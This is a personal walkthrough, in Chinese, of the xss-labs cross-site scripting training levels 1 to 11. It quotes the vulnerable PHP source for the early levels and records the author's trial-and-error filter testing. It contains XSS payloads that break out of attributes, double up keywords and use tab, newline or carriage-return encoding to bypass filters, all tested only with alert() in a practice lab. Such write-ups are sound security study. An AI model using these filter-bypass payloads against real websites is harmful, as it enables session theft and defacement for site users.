xss-labs
。。。
level1
有个回显,那么替换成js代码。
<script>alert(‘xss’)</script>
#alert是一个弹窗,所有的js代码都要放在<script>里面才会被当作js代码执行
- 在控制台输入代码调用
<h2 align=center>欢迎用户test</h2>
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
服务器通过get方式将传递过来的name参数的值赋给了str变量,然后str变量直接插入了h2标签之中。
- 其余的过关方式
可以通过/<scr/ipt/>标签弹窗,可以通过标签里的onerror事件弹窗,可以通过javascript弹窗
level2
由于从url地址来看。想到还是上面的get方式传递参数。第一关一样,也是直接输出内容,但是输出的内容在一个文本框里面。so继续套娃,可惜并没有成功
level1 源代码
对比,通过查看页面的源代码,发现传递的参数输出的位置
注入的恶意代码的尖括号都被编码成了html字符实体?
既然被编码了,所以就要想办法让浏览器执行属性值中的恶意代码了啦,因为输出的位置在一大段文字中,只需要闭合前后将js标签调用出来就行了
`
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
用get方式传递到传递服务端keyword参数的值赋给str变量。
用htmlspecialchars()函数对变量str进行处理之后显示到网页上。
接着直接将变量值插入到了标签的value属性值中,因为这里并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击。
level3
失败…用input标签的属性值是不行了,两个位置都被实体化了。
因为<和>被转义,那么尝试直接用被转义后的实体内容带入呢?
反正还是不行
以下是搜的:
两处输出都对双引号、尖括号和&进行了HTML实体编码,但前面的单引号可以被闭合,考虑使用input标签的某些事件执行脚本。
但是输入点和输出点的异同我没发现
尝试输入单双引号、括号等,发现输入单引号时上面的h2会把输入的字符全部输出,而下面输入框却不会。如输入以下字符,h2标签会输出123’111,而输入框只剩下123
123'111
所以此题输出点不在前面的h2标签,而是在输入框input标签。插入Payload点击搜索,然后点击输入框
- 以及
?keyword='onfocus=javascript:alert('xss') > //
这个注入之后不会马上弹窗,只有当你选中输入框开始输入值时候才会触发。onfocus是javascript中在对象获得焦点时发生的事件。
level4
上源码
<h2 align=center>没有找到和"<script>alert(1)</script>"相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value=""scriptalert(1)/script"">
过滤:<>
尖括号被替换成空了,这样就没办法闭合标签,也没办法使用script标签或者img标签实现弹窗,
keyword=' onclick='alert(1)
level5
闭合形式:
<input name=keyword value="xxx"> 双引号闭合
尝试输入下面的标签,检查过滤没
"
'
(aaa)
<aaa>
<script>
<onload>
<onerror>
adad:
alert
href
javascript
过滤有script变成了scr_ipt,onerror变成了o_error
未过滤",',(),<>,:,alert,href
script和标签事件没法用,这里使用
a标签触发javascript,搜索后点击超链接
双引号看要不要加吧
后面的< 加不加看着办
level6
双引号闭合
过滤:
onerror会变成o\_error,<script>会变成<scr_ipt>,<a href> 会变成<a hr_ef>
未过滤:
',",(),<>,:,javascript,alert,但是发现<SCRipt>不会被过滤
这里又不加双引号了
level7
双引号闭合
过滤:
<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:
未过滤:
alert(1) 不改变
'alert(1)' 不改变
"alert(1)" 不改变
所以,没有被过滤的有alert,(),<>,',"
参考思路:
多输入一个s,输入成ssrc,结果查看源代码发现src被替换成空,但是s还留下了。
构造:
"><sscriptcript>alert(1)</sscriptcript>
level8
双引号闭合
过滤:
<script> 变成了 <script>
<a href> 变成了 <a href>
<img src> 变成了 <img src>
alert("aaa") 变成了 alert("aaa")
所以过滤了:<>,"
未过滤:
one rror 变成了 one rror
javascript: 变成了 javascript:
alert(1) 变成了 alert(1)
alert('a') 变成了 alert('a')
未过滤:onerror,alert,(),script,href,src,javascript:
又尝试了友链。发现换来换去只有
alert(1) 变成了 alert(1)
<>没有被过滤
' 没有过滤
找参考
使用javaScript变换(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)的办法绕过,这里必须在浏览器直接执行
这不用加 a href ,代码有
输出点是友链,输入框那里双引号被屏蔽了,所以入手友链
level9
虽然与第八关差不多,还是没思路
吐血(艹皿艹 )
没有输入http://
会报错
居然还是第八关引入的参考
?keyword=javas%09cript:alert('http://')
?keyword=javas%0acript:alert('http://')
?keyword=javas%0dcript:alert('http://')
level10
过滤:
<script> 变成了 script
<a href> 变成了 a href
<img src> 变成了 img src
过滤了<>
未过滤:
alert('1') 变成了 alert('1')
alert("1") 变成了 alert("1")
javascript: 变成了 javascript:
onclikc 变成了onclick
未过滤',",(),script,a href,img src,javascript:
有点击事件,但是没有输出。(使用autofocus和onfocus自动聚焦触发,但是发现有时候不能触发,或者触发了后会一直弹框而不能正常跳转)
但是可以添加输入框和按钮
比如这样:
<input name="t_sort" value="xx type=button" type="hidden">
<input name="t_sort" value="xx type=text" type="hidden">
这叫用type属性将该输入框变成button,覆盖掉原有的hidden隐藏属性,并使用onclick事件触发
level 11
按照上面的经验。绕过双引号无果后放弃,寻找其他注入点
多的那个t_ref ,输入url参数无效
先放